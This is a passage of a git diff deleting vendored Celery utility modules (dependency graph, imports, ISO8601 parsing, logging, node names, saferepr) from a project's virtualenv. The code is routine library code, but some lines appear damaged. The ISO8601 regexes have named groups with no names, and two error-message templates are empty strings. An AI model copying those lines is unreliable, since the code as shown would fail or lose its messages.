graph.add_edge(node_c, successor_c) - return [t[0] for t in graph._khan62()] - - def valency_of(self, obj): - """Return the valency (degree) of a vertex in the graph.""" - try: - l = [len(self[obj])] - except KeyError: - return 0 - for node in self[obj]: - l.append(self.valency_of(node)) - return sum(l) - - def update(self, it): - """Update graph with data from a list of ``(obj, deps)`` tuples.""" - tups = list(it) - for obj, _ in tups: - self.add_arc(obj) - for obj, deps in tups: - for dep in deps: - self.add_edge(obj, dep) - - def edges(self): - """Return generator that yields for all edges in the graph.""" - return (obj for obj, adj in self.items() if adj) - - def _khan62(self): - """Perform Khan's simple topological sort algorithm from '62. - - See https://en.wikipedia.org/wiki/Topological_sorting - """ - count = Counter() - result = [] - - for node in self: - for successor in self[node]: - count[successor] += 1 - ready = [node for node in self if not count[node]] - - while ready: - node = ready.pop() - result.append(node) - - for successor in self[node]: - count[successor] -= 1 - if count[successor] == 0: - ready.append(successor) - result.reverse() - return result - - def _tarjan72(self): - """Perform Tarjan's algorithm to find strongly connected components. - - See Also: - :wikipedia:`Tarjan%27s_strongly_connected_components_algorithm` - """ - result, stack, low = [], [], {} - - def visit(node): - if node in low: - return - num = len(low) - low[node] = num - stack_pos = len(stack) - stack.append(node) - - for successor in self[node]: - visit(successor) - low[node] = min(low[node], low[successor]) - - if num == low[node]: - component = tuple(stack[stack_pos:]) - stack[stack_pos:] = [] - result.append(component) - for item in component: - low[item] = len(self) - - for node in self: - visit(node) - - return result - - def to_dot(self, fh, formatter=None): - """Convert the graph to DOT format. - - Arguments: - fh (IO): A file, or a file-like object to write the graph to. - formatter (celery.utils.graph.GraphFormatter): Custom graph - formatter to use. - """ - seen = set() - draw = formatter or self.formatter - - def P(s): - print(bytes_to_str(s), file=fh) - - def if_not_seen(fun, obj): - if draw.label(obj) not in seen: - P(fun(obj)) - seen.add(draw.label(obj)) - - P(draw.head()) - for obj, adjacent in self.items(): - if not adjacent: - if_not_seen(draw.terminal_node, obj) - for req in adjacent: - if_not_seen(draw.node, obj) - P(draw.edge(obj, req)) - P(draw.tail()) - - def format(self, obj): - return self.formatter(obj) if self.formatter else obj - - def __iter__(self): - return iter(self.adjacent) - - def __getitem__(self, node): - return self.adjacent[node] - - def __len__(self): - return len(self.adjacent) - - def __contains__(self, obj): - return obj in self.adjacent - - def _iterate_items(self): - return self.adjacent.items() - items = iteritems = _iterate_items - - def __repr__(self): - return '\n'.join(self.repr_node(N) for N in self) - - def repr_node(self, obj, level=1, fmt='{0}({1})'): - output = [fmt.format(obj, self.valency_of(obj))] - if obj in self: - for other in self[obj]: - d = fmt.format(other, self.valency_of(other)) - output.append(' ' * level + d) - output.extend(self.repr_node(other, level + 1).split('\n')[1:]) - return '\n'.join(output) - - -class GraphFormatter: - """Format dependency graphs.""" - - _attr = DOT.ATTR.strip() - _node = DOT.NODE.strip() - _edge = DOT.EDGE.strip() - _head = DOT.HEAD.strip() - _tail = DOT.TAIL.strip() - _attrsep = DOT.ATTRSEP - _dirs = dict(DOT.DIRS) - - scheme = { - 'shape': 'box', - 'arrowhead': 'vee', - 'style': 'filled', - 'fontname': 'HelveticaNeue', - } - edge_scheme = { - 'color': 'darkseagreen4', - 'arrowcolor': 'black', - 'arrowsize': 0.7, - } - node_scheme = {'fillcolor': 'palegreen3', 'color': 'palegreen4'} - term_scheme = {'fillcolor': 'palegreen1', 'color': 'palegreen2'} - graph_scheme = {'bgcolor': 'mintcream'} - - def __init__(self, root=None, type=None, id=None, - indent=0, inw=' ' * 4, **scheme): - self.id = id or 'dependencies' - self.root = root - self.type = type or 'digraph' - self.direction = self._dirs[self.type] - self.IN = inw * (indent or 0) - self.INp = self.IN + inw - self.scheme = dict(self.scheme, **scheme) - self.graph_scheme = dict(self.graph_scheme, root=self.label(self.root)) - - def attr(self, name, value): - value = f'"{value}"' - return self.FMT(self._attr, name=name, value=value) - - def attrs(self, d, scheme=None): - d = dict(self.scheme, **dict(scheme, **d or {}) if scheme else d) - return self._attrsep.join( - safe_str(self.attr(k, v)) for k, v in d.items() - ) - - def head(self, **attrs): - return self.FMT( - self._head, id=self.id, type=self.type, - attrs=self.attrs(attrs, self.graph_scheme), - ) - - def tail(self): - return self.FMT(self._tail) - - def label(self, obj): - return obj - - def node(self, obj, **attrs): - return self.draw_node(obj, self.node_scheme, attrs) - - def terminal_node(self, obj, **attrs): - return self.draw_node(obj, self.term_scheme, attrs) - - def edge(self, a, b, **attrs): - return self.draw_edge(a, b, **attrs) - - def _enc(self, s): - return s.encode('utf-8', 'ignore') - - def FMT(self, fmt, *args, **kwargs): - return self._enc(fmt.format( - *args, **dict(kwargs, IN=self.IN, INp=self.INp) - )) - - def draw_edge(self, a, b, scheme=None, attrs=None): - return self.FMT( - self._edge, self.label(a), self.label(b), - dir=self.direction, attrs=self.attrs(attrs, self.edge_scheme), - ) - - def draw_node(self, obj, scheme=None, attrs=None): - return self.FMT( - self._node, self.label(obj), attrs=self.attrs(attrs, scheme), - ) diff --git a/backend/venv/Lib/site-packages/celery/utils/imports.py b/backend/venv/Lib/site-packages/celery/utils/imports.py deleted file mode 100644 index 676a4516..00000000 --- a/backend/venv/Lib/site-packages/celery/utils/imports.py +++ /dev/null @@ -1,168 +0,0 @@ -"""Utilities related to importing modules and symbols by name.""" -import os -import sys -import warnings -from contextlib import contextmanager -from importlib import import_module, reload - -try: - from importlib.metadata import entry_points -except ImportError: - from importlib_metadata import entry_points - -from kombu.utils.imports import symbol_by_name - -#: Billiard sets this when execv is enabled. -#: We use it to find out the name of the original ``__main__`` -#: module, so that we can properly rewrite the name of the -#: task to be that of ``App.main``. -MP_MAIN_FILE = os.environ.get('MP_MAIN_FILE') - -__all__ = ( - 'NotAPackage', 'qualname', 'instantiate', 'symbol_by_name', - 'cwd_in_path', 'find_module', 'import_from_cwd', - 'reload_from_cwd', 'module_file', 'gen_task_name', -) - - -class NotAPackage(Exception): - """Raised when importing a package, but it's not a package.""" - - -def qualname(obj): - """Return object name.""" - if not hasattr(obj, '__name__') and hasattr(obj, '__class__'): - obj = obj.__class__ - q = getattr(obj, '__qualname__', None) - if '.' not in q: - q = '.'.join((obj.__module__, q)) - return q - - -def instantiate(name, *args, **kwargs): - """Instantiate class by name. - - See Also: - :func:`symbol_by_name`. - """ - return symbol_by_name(name)(*args, **kwargs) - - -@contextmanager -def cwd_in_path(): - """Context adding the current working directory to sys.path.""" - try: - cwd = os.getcwd() - except FileNotFoundError: - cwd = None - if not cwd: - yield - elif cwd in sys.path: - yield - else: - sys.path.insert(0, cwd) - try: - yield cwd - finally: - try: - sys.path.remove(cwd) - except ValueError: # pragma: no cover - pass - - -def find_module(module, path=None, imp=None): - """Version of :func:`imp.find_module` supporting dots.""" - if imp is None: - imp = import_module - with cwd_in_path(): - try: - return imp(module) - except ImportError: - # Raise a more specific error if the problem is that one of the - # dot-separated segments of the module name is not a package. - if '.' in module: - parts = module.split('.') - for i, part in enumerate(parts[:-1]): - package = '.'.join(parts[:i + 1]) - try: - mpart = imp(package) - except ImportError: - # Break out and re-raise the original ImportError - # instead. - break - try: - mpart.__path__ - except AttributeError: - raise NotAPackage(package) - raise - - -def import_from_cwd(module, imp=None, package=None): - """Import module, temporarily including modules in the current directory. - - Modules located in the current directory has - precedence over modules located in `sys.path`. - """ - if imp is None: - imp = import_module - with cwd_in_path(): - return imp(module, package=package) - - -def reload_from_cwd(module, reloader=None): - """Reload module (ensuring that CWD is in sys.path).""" - if reloader is None: - reloader = reload - with cwd_in_path(): - return reloader(module) - - -def module_file(module): - """Return the correct original file name of a module.""" - name = module.__file__ - return name[:-1] if name.endswith('.pyc') else name - - -def gen_task_name(app, name, module_name): - """Generate task name from name/module pair.""" - module_name = module_name or '__main__' - try: - module = sys.modules[module_name] - except KeyError: - # Fix for manage.py shell_plus (Issue #366) - module = None - - if module is not None: - module_name = module.__name__ - # - If the task module is used as the __main__ script - # - we need to rewrite the module part of the task name - # - to match App.main. - if MP_MAIN_FILE and module.__file__ == MP_MAIN_FILE: - # - see comment about :envvar:`MP_MAIN_FILE` above. - module_name = '__main__' - if module_name == '__main__' and app.main: - return '.'.join([app.main, name]) - return '.'.join(p for p in (module_name, name) if p) - - -def load_extension_class_names(namespace): - if sys.version_info >= (3, 10): - _entry_points = entry_points(group=namespace) - else: - try: - _entry_points = entry_points().get(namespace, []) - except AttributeError: - _entry_points = entry_points().select(group=namespace) - for ep in _entry_points: - yield ep.name, ep.value - - -def load_extension_classes(namespace): - for name, class_name in load_extension_class_names(namespace): - try: - cls = symbol_by_name(class_name) - except (ImportError, SyntaxError) as exc: - warnings.warn( - f'Cannot load {namespace} extension {class_name!r}: {exc!r}') - else: - yield name, cls diff --git a/backend/venv/Lib/site-packages/celery/utils/iso8601.py b/backend/venv/Lib/site-packages/celery/utils/iso8601.py deleted file mode 100644 index f878bec5..00000000 --- a/backend/venv/Lib/site-packages/celery/utils/iso8601.py +++ /dev/null @@ -1,76 +0,0 @@ -"""Parse ISO8601 dates. - -Originally taken from :pypi:`pyiso8601` -(https://bitbucket.org/micktwomey/pyiso8601) - -Modified to match the behavior of ``dateutil.parser``: - - - raise :exc:`ValueError` instead of ``ParseError`` - - return naive :class:`~datetime.datetime` by default - -This is the original License: - -Copyright (c) 2007 Michael Twomey - -Permission is hereby granted, free of charge, to any person obtaining a -copy of this software and associated documentation files (the -"Software"), to deal in the Software without restriction, including -without limitation the rights to use, copy, modify, merge, publish, -distribute, sub-license, and/or sell copies of the Software, and to -permit persons to whom the Software is furnished to do so, subject to -the following conditions: - -The above copyright notice and this permission notice shall be included -in all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS -OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF -MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. -IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY -CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, -TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE -SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. -""" -import re -from datetime import datetime, timedelta, timezone - -from celery.utils.deprecated import warn - -__all__ = ('parse_iso8601',) - -# Adapted from http://delete.me.uk/2005/03/iso8601.html -ISO8601_REGEX = re.compile( - r'(?P[0-9]{4})(-(?P[0-9]{1,2})(-(?P[0-9]{1,2})' - r'((?P.)(?P[0-9]{2}):(?P[0-9]{2})' - r'(:(?P[0-9]{2})(\.(?P[0-9]+))?)?' - r'(?PZ|(([-+])([0-9]{2}):([0-9]{2})))?)?)?)?' -) -TIMEZONE_REGEX = re.compile( - r'(?P[+-])(?P[0-9]{2}).(?P[0-9]{2})' -) - - -def parse_iso8601(datestring: str) -> datetime: - """Parse and convert ISO-8601 string to datetime.""" - warn("parse_iso8601", "v5.3", "v6", "datetime.datetime.fromisoformat or dateutil.parser.isoparse") - m = ISO8601_REGEX.match(datestring) - if not m: - raise ValueError('unable to parse date string %r' % datestring) - groups = m.groupdict() - tz = groups['timezone'] - if tz == 'Z': - tz = timezone(timedelta(0)) - elif tz: - m = TIMEZONE_REGEX.match(tz) - prefix, hours, minutes = m.groups() - hours, minutes = int(hours), int(minutes) - if prefix == '-': - hours = -hours - minutes = -minutes - tz = timezone(timedelta(minutes=minutes, hours=hours)) - return datetime( - int(groups['year']), int(groups['month']), - int(groups['day']), int(groups['hour'] or 0), - int(groups['minute'] or 0), int(groups['second'] or 0), - int(groups['fraction'] or 0), tz - ) diff --git a/backend/venv/Lib/site-packages/celery/utils/log.py b/backend/venv/Lib/site-packages/celery/utils/log.py deleted file mode 100644 index f67a3dd7..00000000 --- a/backend/venv/Lib/site-packages/celery/utils/log.py +++ /dev/null @@ -1,295 +0,0 @@ -"""Logging utilities.""" -import logging -import numbers -import os -import sys -import threading -import traceback -from contextlib import contextmanager -from typing import AnyStr, Sequence # noqa - -from kombu.log import LOG_LEVELS -from kombu.log import get_logger as _get_logger -from kombu.utils.encoding import safe_str - -from .term import colored - -__all__ = ( - 'ColorFormatter', 'LoggingProxy', 'base_logger', - 'set_in_sighandler', 'in_sighandler', 'get_logger', - 'get_task_logger', 'mlevel', - 'get_multiprocessing_logger', 'reset_multiprocessing_logger', 'LOG_LEVELS' -) - -_process_aware = False -_in_sighandler = False - -MP_LOG = os.environ.get('MP_LOG', False) - -RESERVED_LOGGER_NAMES = {'celery', 'celery.task'} - -# Sets up our logging hierarchy. -# -# Every logger in the celery package inherits from the "celery" -# logger, and every task logger inherits from the "celery.task" -# logger. -base_logger = logger = _get_logger('celery') - - -def set_in_sighandler(value): - """Set flag signifying that we're inside a signal handler.""" - global _in_sighandler - _in_sighandler = value - - -def iter_open_logger_fds(): - seen = set() - loggers = (list(logging.Logger.manager.loggerDict.values()) + - [logging.getLogger(None)]) - for l in loggers: - try: - for handler in l.handlers: - try: - if handler not in seen: # pragma: no cover - yield handler.stream - seen.add(handler) - except AttributeError: - pass - except AttributeError: # PlaceHolder does not have handlers - pass - - -@contextmanager -def in_sighandler(): - """Context that records that we are in a signal handler.""" - set_in_sighandler(True) - try: - yield - finally: - set_in_sighandler(False) - - -def logger_isa(l, p, max=1000): - this, seen = l, set() - for _ in range(max): - if this == p: - return True - else: - if this in seen: - raise RuntimeError( - f'Logger {l.name!r} parents recursive', - ) - seen.add(this) - this = this.parent - if not this: - break - else: # pragma: no cover - raise RuntimeError(f'Logger hierarchy exceeds {max}') - return False - - -def _using_logger_parent(parent_logger, logger_): - if not logger_isa(logger_, parent_logger): - logger_.parent = parent_logger - return logger_ - - -def get_logger(name): - """Get logger by name.""" - l = _get_logger(name) - if logging.root not in (l, l.parent) and l is not base_logger: - l = _using_logger_parent(base_logger, l) - return l - - -task_logger = get_logger('celery.task') -worker_logger = get_logger('celery.worker') - - -def get_task_logger(name): - """Get logger for task module by name.""" - if name in RESERVED_LOGGER_NAMES: - raise RuntimeError(f'Logger name {name!r} is reserved!') - return _using_logger_parent(task_logger, get_logger(name)) - - -def mlevel(level): - """Convert level name/int to log level.""" - if level and not isinstance(level, numbers.Integral): - return LOG_LEVELS[level.upper()] - return level - - -class ColorFormatter(logging.Formatter): - """Logging formatter that adds colors based on severity.""" - - #: Loglevel -> Color mapping. - COLORS = colored().names - colors = { - 'DEBUG': COLORS['blue'], - 'WARNING': COLORS['yellow'], - 'ERROR': COLORS['red'], - 'CRITICAL': COLORS['magenta'], - } - - def __init__(self, fmt=None, use_color=True): - super().__init__(fmt) - self.use_color = use_color - - def formatException(self, ei): - if ei and not isinstance(ei, tuple): - ei = sys.exc_info() - r = super().formatException(ei) - return r - - def format(self, record): - msg = super().format(record) - color = self.colors.get(record.levelname) - - # reset exception info later for other handlers... - einfo = sys.exc_info() if record.exc_info == 1 else record.exc_info - - if color and self.use_color: - try: - # safe_str will repr the color object - # and color will break on non-string objects - # so need to reorder calls based on type. - # Issue #427 - try: - if isinstance(msg, str): - return str(color(safe_str(msg))) - return safe_str(color(msg)) - except UnicodeDecodeError: # pragma: no cover - return safe_str(msg) # skip colors - except Exception as exc: # pylint: disable=broad-except - prev_msg, record.exc_info, record.msg = ( - record.msg, 1, ''.format( - type(msg), exc - ), - ) - try: - return super().format(record) - finally: - record.msg, record.exc_info = prev_msg, einfo - else: - return safe_str(msg) - - -class LoggingProxy: - """Forward file object to :class:`logging.Logger` instance. - - Arguments: - logger (~logging.Logger): Logger instance to forward to. - loglevel (int, str): Log level to use when logging messages. - """ - - mode = 'w' - name = None - closed = False - loglevel = logging.ERROR - _thread = threading.local() - - def __init__(self, logger, loglevel=None): - # pylint: disable=redefined-outer-name - # Note that the logger global is redefined here, be careful changing. - self.logger = logger - self.loglevel = mlevel(loglevel or self.logger.level or self.loglevel) - self._safewrap_handlers() - - def _safewrap_handlers(self): - # Make the logger handlers dump internal errors to - # :data:`sys.__stderr__` instead of :data:`sys.stderr` to circumvent - # infinite loops. - - def wrap_handler(handler): # pragma: no cover - - class WithSafeHandleError(logging.Handler): - - def handleError(self, record): - try: - traceback.print_exc(None, sys.__stderr__) - except OSError: - pass # see python issue 5971 - - handler.handleError = WithSafeHandleError().handleError - return [wrap_handler(h) for h in self.logger.handlers] - - def write(self, data): - # type: (AnyStr) -> int - """Write message to logging object.""" - if _in_sighandler: - safe_data = safe_str(data) - print(safe_data, file=sys.__stderr__) - return len(safe_data) - if getattr(self._thread, 'recurse_protection', False): - # Logger is logging back to this file, so stop recursing. - return 0 - if data and not self.closed: - self._thread.recurse_protection = True - try: - safe_data = safe_str(data).rstrip('\n') - if safe_data: - self.logger.log(self.loglevel, safe_data) - return len(safe_data) - finally: - self._thread.recurse_protection = False - return 0 - - def writelines(self, sequence): - # type: (Sequence[str]) -> None - """Write list of strings to file. - - The sequence can be any iterable object producing strings. - This is equivalent to calling :meth:`write` for each string. - """ - for part in sequence: - self.write(part) - - def flush(self): - # This object is not buffered so any :meth:`flush` - # requests are ignored. - pass - - def close(self): - # when the object is closed, no write requests are - # forwarded to the logging object anymore. - self.closed = True - - def isatty(self): - """Here for file support.""" - return False - - -def get_multiprocessing_logger(): - """Return the multiprocessing logger.""" - try: - from billiard import util - except ImportError: - pass - else: - return util.get_logger() - - -def reset_multiprocessing_logger(): - """Reset multiprocessing logging setup.""" - try: - from billiard import util - except ImportError: - pass - else: - if hasattr(util, '_logger'): # pragma: no cover - util._logger = None - - -def current_process(): - try: - from billiard import process - except ImportError: - pass - else: - return process.current_process() - - -def current_process_index(base=1): - index = getattr(current_process(), 'index', None) - return index + base if index is not None else index diff --git a/backend/venv/Lib/site-packages/celery/utils/nodenames.py b/backend/venv/Lib/site-packages/celery/utils/nodenames.py deleted file mode 100644 index 91509a46..00000000 --- a/backend/venv/Lib/site-packages/celery/utils/nodenames.py +++ /dev/null @@ -1,114 +0,0 @@ -"""Worker name utilities.""" -from __future__ import annotations - -import os -import socket -from functools import partial - -from kombu.entity import Exchange, Queue - -from .functional import memoize -from .text import simple_format - -#: Exchange for worker direct queues. -WORKER_DIRECT_EXCHANGE = Exchange('C.dq2') - -#: Format for worker direct queue names. -WORKER_DIRECT_QUEUE_FORMAT = '{hostname}.dq2' - -#: Separator for worker node name and hostname. -NODENAME_SEP = '@' - -NODENAME_DEFAULT = 'celery' - -gethostname = memoize(1, Cache=dict)(socket.gethostname) - -__all__ = ( - 'worker_direct', - 'gethostname', - 'nodename', - 'anon_nodename', - 'nodesplit', - 'default_nodename', - 'node_format', - 'host_format', -) - - -def worker_direct(hostname: str | Queue) -> Queue: - """Return the :class:`kombu.Queue` being a direct route to a worker. - - Arguments: - hostname (str, ~kombu.Queue): The fully qualified node name of - a worker (e.g., ``w1@example.com``). If passed a - :class:`kombu.Queue` instance it will simply return - that instead. - """ - if isinstance(hostname, Queue): - return hostname - return Queue( - WORKER_DIRECT_QUEUE_FORMAT.format(hostname=hostname), - WORKER_DIRECT_EXCHANGE, - hostname, - ) - - -def nodename(name: str, hostname: str) -> str: - """Create node name from name/hostname pair.""" - return NODENAME_SEP.join((name, hostname)) - - -def anon_nodename(hostname: str | None = None, prefix: str = 'gen') -> str: - """Return the nodename for this process (not a worker). - - This is used for e.g. the origin task message field. - """ - return nodename(''.join([prefix, str(os.getpid())]), hostname or gethostname()) - - -def nodesplit(name: str) -> tuple[None, str] | list[str]: - """Split node name into tuple of name/hostname.""" - parts = name.split(NODENAME_SEP, 1) - if len(parts) == 1: - return None, parts[0] - return parts - - -def default_nodename(hostname: str) -> str: - """Return the default nodename for this process.""" - name, host = nodesplit(hostname or '') - return nodename(name or NODENAME_DEFAULT, host or gethostname()) - - -def node_format(s: str, name: str, **extra: dict) -> str: - """Format worker node name (name@host.com).""" - shortname, host = nodesplit(name) - return host_format(s, host, shortname or NODENAME_DEFAULT, p=name, **extra) - - -def _fmt_process_index(prefix: str = '', default: str = '0') -> str: - from .log import current_process_index - - index = current_process_index() - return f'{prefix}{index}' if index else default - - -_fmt_process_index_with_prefix = partial(_fmt_process_index, '-', '') - - -def host_format(s: str, host: str | None = None, name: str | None = None, **extra: dict) -> str: - """Format host %x abbreviations.""" - host = host or gethostname() - hname, _, domain = host.partition('.') - name = name or hname - keys = dict( - { - 'h': host, - 'n': name, - 'd': domain, - 'i': _fmt_process_index, - 'I': _fmt_process_index_with_prefix, - }, - **extra, - ) - return simple_format(s, keys) diff --git a/backend/venv/Lib/site-packages/celery/utils/objects.py b/backend/venv/Lib/site-packages/celery/utils/objects.py deleted file mode 100644 index 56e96ffd..00000000 --- a/backend/venv/Lib/site-packages/celery/utils/objects.py +++ /dev/null @@ -1,142 +0,0 @@ -"""Object related utilities, including introspection, etc.""" -from functools import reduce - -__all__ = ('Bunch', 'FallbackContext', 'getitem_property', 'mro_lookup') - - -class Bunch: - """Object that enables you to modify attributes.""" - - def __init__(self, **kwargs): - self.__dict__.update(kwargs) - - -def mro_lookup(cls, attr, stop=None, monkey_patched=None): - """Return the first node by MRO order that defines an attribute. - - Arguments: - cls (Any): Child class to traverse. - attr (str): Name of attribute to find. - stop (Set[Any]): A set of types that if reached will stop - the search. - monkey_patched (Sequence): Use one of the stop classes - if the attributes module origin isn't in this list. - Used to detect monkey patched attributes. - - Returns: - Any: The attribute value, or :const:`None` if not found. - """ - stop = set() if not stop else stop - monkey_patched = [] if not monkey_patched else monkey_patched - for node in cls.mro(): - if node in stop: - try: - value = node.__dict__[attr] - module_origin = value.__module__ - except (AttributeError, KeyError): - pass - else: - if module_origin not in monkey_patched: - return node - return - if attr in node.__dict__: - return node - - -class FallbackContext: - """Context workaround. - - The built-in ``@contextmanager`` utility does not work well - when wrapping other contexts, as the traceback is wrong when - the wrapped context raises. - - This solves this problem and can be used instead of ``@contextmanager`` - in this example:: - - @contextmanager - def connection_or_default_connection(connection=None): - if connection: - # user already has a connection, shouldn't close - # after use - yield connection - else: - # must've new connection, and also close the connection - # after the block returns - with create_new_connection() as connection: - yield connection - - This wrapper can be used instead for the above like this:: - - def connection_or_default_connection(connection=None): - return FallbackContext(connection, create_new_connection) - """ - - def __init__(self, provided, fallback, *fb_args, **fb_kwargs): - self.provided = provided - self.fallback = fallback - self.fb_args = fb_args - self.fb_kwargs = fb_kwargs - self._context = None - - def __enter__(self): - if self.provided is not None: - return self.provided - context = self._context = self.fallback( - *self.fb_args, **self.fb_kwargs - ).__enter__() - return context - - def __exit__(self, *exc_info): - if self._context is not None: - return self._context.__exit__(*exc_info) - - -class getitem_property: - """Attribute -> dict key descriptor. - - The target object must support ``__getitem__``, - and optionally ``__setitem__``. - - Example: - >>> from collections import defaultdict - - >>> class Me(dict): - ... deep = defaultdict(dict) - ... - ... foo = _getitem_property('foo') - ... deep_thing = _getitem_property('deep.thing') - - - >>> me = Me() - >>> me.foo - None - - >>> me.foo = 10 - >>> me.foo - 10 - >>> me['foo'] - 10 - - >>> me.deep_thing = 42 - >>> me.deep_thing - 42 - >>> me.deep - defaultdict(, {'thing': 42}) - """ - - def __init__(self, keypath, doc=None): - path, _, self.key = keypath.rpartition('.') - self.path = path.split('.') if path else None - self.__doc__ = doc - - def _path(self, obj): - return (reduce(lambda d, k: d[k], [obj] + self.path) if self.path - else obj) - - def __get__(self, obj, type=None): - if obj is None: - return type - return self._path(obj).get(self.key) - - def __set__(self, obj, value): - self._path(obj)[self.key] = value diff --git a/backend/venv/Lib/site-packages/celery/utils/quorum_queues.py b/backend/venv/Lib/site-packages/celery/utils/quorum_queues.py deleted file mode 100644 index 0eb058fa..00000000 --- a/backend/venv/Lib/site-packages/celery/utils/quorum_queues.py +++ /dev/null @@ -1,20 +0,0 @@ -from __future__ import annotations - - -def detect_quorum_queues(app, driver_type: str) -> tuple[bool, str]: - """Detect if any of the queues are quorum queues. - - Returns: - tuple[bool, str]: A tuple containing a boolean indicating if any of the queues are quorum queues - and the name of the first quorum queue found or an empty string if no quorum queues were found. - """ - is_rabbitmq_broker = driver_type == 'amqp' - - if is_rabbitmq_broker: - queues = app.amqp.queues - for qname in queues: - qarguments = queues[qname].queue_arguments or {} - if qarguments.get("x-queue-type") == "quorum": - return True, qname - - return False, "" diff --git a/backend/venv/Lib/site-packages/celery/utils/saferepr.py b/backend/venv/Lib/site-packages/celery/utils/saferepr.py deleted file mode 100644 index 9b37bc92..00000000 --- a/backend/venv/Lib/site-packages/celery/utils/saferepr.py +++ /dev/null @@ -1,269 +0,0 @@ -"""Streaming, truncating, non-recursive version of :func:`repr`. - -Differences from regular :func:`repr`: - -- Sets are represented the Python 3 way: ``{1, 2}`` vs ``set([1, 2])``. -- Unicode strings does not have the ``u'`` prefix, even on Python 2. -- Empty set formatted as ``set()`` (Python 3), not ``set([])`` (Python 2). -- Longs don't have the ``L`` suffix. - -Very slow with no limits, super quick with limits. -""" -import traceback -from collections import deque, namedtuple -from decimal import Decimal -from itertools import chain -from numbers import Number -from pprint import _recursion -from typing import Any, AnyStr, Callable, Dict, Iterator, List, Optional, Sequence, Set, Tuple # noqa - -from .text import truncate - -__all__ = ('saferepr', 'reprstream') - -#: Node representing literal text. -#: - .value: is the literal text value -#: - .truncate: specifies if this text can be truncated, for things like -#: LIT_DICT_END this will be False, as we always display -#: the ending brackets, e.g: [[[1, 2, 3, ...,], ..., ]] -#: - .direction: If +1 the current level is increment by one, -#: if -1 the current level is decremented by one, and -#: if 0 the current level is unchanged. -_literal = namedtuple('_literal', ('value', 'truncate', 'direction')) - -#: Node representing a dictionary key. -_key = namedtuple('_key', ('value',)) - -#: Node representing quoted text, e.g. a string value. -_quoted = namedtuple('_quoted', ('value',)) - - -#: Recursion protection. -_dirty = namedtuple('_dirty', ('objid',)) - -#: Types that are represented as chars. -chars_t = (bytes, str) - -#: Types that are regarded as safe to call repr on. -safe_t = (Number,) - -#: Set types. -set_t = (frozenset, set) - -LIT_DICT_START = _literal('{', False, +1) -LIT_DICT_KVSEP = _literal(': ', True, 0) -LIT_DICT_END = _literal('}', False, -1) -LIT_LIST_START = _literal('[', False, +1) -LIT_LIST_END = _literal(']', False, -1) -LIT_LIST_SEP = _literal(', ', True, 0) -LIT_SET_START = _literal('{', False, +1) -LIT_SET_END = _literal('}', False, -1) -LIT_TUPLE_START = _literal('(', False, +1) -LIT_TUPLE_END = _literal(')', False, -1) -LIT_TUPLE_END_SV = _literal(',)', False, -1) - - -def saferepr(o, maxlen=None, maxlevels=3, seen=None): - # type: (Any, int, int, Set) -> str - """Safe version of :func:`repr`. - - Warning: - Make sure you set the maxlen argument, or it will be very slow - for recursive objects. With the maxlen set, it's often faster - than built-in repr. - """ - return ''.join(_saferepr( - o, maxlen=maxlen, maxlevels=maxlevels, seen=seen - )) - - -def _chaindict(mapping, - LIT_DICT_KVSEP=LIT_DICT_KVSEP, - LIT_LIST_SEP=LIT_LIST_SEP): - # type: (Dict, _literal, _literal) -> Iterator[Any] - size = len(mapping) - for i, (k, v) in enumerate(mapping.items()): - yield _key(k) - yield LIT_DICT_KVSEP - yield v - if i < (size - 1): - yield LIT_LIST_SEP - - -def _chainlist(it, LIT_LIST_SEP=LIT_LIST_SEP): - # type: (List) -> Iterator[Any] - size = len(it) - for i, v in enumerate(it): - yield v - if i < (size - 1): - yield LIT_LIST_SEP - - -def _repr_empty_set(s): - # type: (Set) -> str - return f'{type(s).__name__}()' - - -def _safetext(val): - # type: (AnyStr) -> str - if isinstance(val, bytes): - try: - val.encode('utf-8') - except UnicodeDecodeError: - # is bytes with unrepresentable characters, attempt - # to convert back to unicode - return val.decode('utf-8', errors='backslashreplace') - return val - - -def _format_binary_bytes(val, maxlen, ellipsis='...'): - # type: (bytes, int, str) -> str - if maxlen and len(val) > maxlen: - # we don't want to copy all the data, just take what we need. - chunk = memoryview(val)[:maxlen].tobytes() - return _bytes_prefix(f"'{_repr_binary_bytes(chunk)}{ellipsis}'") - return _bytes_prefix(f"'{_repr_binary_bytes(val)}'") - - -def _bytes_prefix(s): - return 'b' + s - - -def _repr_binary_bytes(val): - # type: (bytes) -> str - try: - return val.decode('utf-8') - except UnicodeDecodeError: - # possibly not unicode, but binary data so format as hex. - return val.hex() - - -def _format_chars(val, maxlen): - # type: (AnyStr, int) -> str - if isinstance(val, bytes): # pragma: no cover - return _format_binary_bytes(val, maxlen) - else: - return "'{}'".format(truncate(val, maxlen).replace("'", "\\'")) - - -def _repr(obj): - # type: (Any) -> str - try: - return repr(obj) - except Exception as exc: - stack = '\n'.join(traceback.format_stack()) - return f'' - - -def _saferepr(o, maxlen=None, maxlevels=3, seen=None): - # type: (Any, int, int, Set) -> str - stack = deque([iter([o])]) - for token, it in reprstream(stack, seen=seen, maxlevels=maxlevels): - if maxlen is not None and maxlen <= 0: - yield ', ...' - # move rest back to stack, so that we can include - # dangling parens. - stack.append(it) - break - if isinstance(token, _literal): - val = token.value - elif isinstance(token, _key): - val = saferepr(token.value, maxlen, maxlevels) - elif isinstance(token, _quoted): - val = _format_chars(token.value, maxlen) - else: - val = _safetext(truncate(token, maxlen)) - yield val - if maxlen is not None: - maxlen -= len(val) - for rest1 in stack: - # maxlen exceeded, process any dangling parens. - for rest2 in rest1: - if isinstance(rest2, _literal) and not rest2.truncate: - yield rest2.value - - -def _reprseq(val, lit_start, lit_end, builtin_type, chainer): - # type: (Sequence, _literal, _literal, Any, Any) -> Tuple[Any, ...] - if type(val) is builtin_type: - return lit_start, lit_end, chainer(val) - return ( - _literal(f'{type(val).__name__}({lit_start.value}', False, +1), - _literal(f'{lit_end.value})', False, -1), - chainer(val) - ) - - -def reprstream(stack: deque, - seen: Optional[Set] = None, - maxlevels: int = 3, - level: int = 0, - isinstance: Callable = isinstance) -> Iterator[Any]: - """Streaming repr, yielding tokens.""" - seen = 